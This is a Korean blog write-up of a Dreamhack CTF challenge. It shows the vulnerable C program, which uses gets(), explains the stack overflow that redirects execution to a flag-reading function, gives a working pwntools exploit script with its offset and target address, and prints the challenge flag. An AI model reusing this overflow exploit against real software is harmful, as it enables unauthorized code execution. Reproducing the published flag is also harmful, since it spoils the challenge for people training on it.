#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
위 코드는 문제에서 주어진 코드이다. 해당 코드의 취약점은 gets라는 취약함 함수를 사용함에 문제가 있다. gets 함수는 입력값의 제한이 없으므로 main 함수의 ret에 read_flag 함수의 시작 주소를 덮어씌우면 플래그가 출력된다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("host1.dreanhack.games",10074)
payload1=b"A"*132
payload2=p32(0x080485b9)
payload=payload1+payload2
r.send(payload)
r.interactive()
위 코드는 exploit 코드이다. payload2는 read_flag 함수의 주소 값으로 gdb에서 disas read_flag 명령어를 입력하면 해당 함수의 시작 주소를 알 수 있다.
플래그: DH{01ec06f5e1466e44f86a79444a7cd116}
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
---|---|
[Dreamhack] basic_rop_x64 (0) | 2021.05.05 |
[Dreamhack] basic_rop_x86 (1) | 2021.05.03 |
[Dreamhack] off_by_one_000 (0) | 2021.04.18 |
[Dreamhack] basic_exploitation_000 (0) | 2021.04.06 |
댓글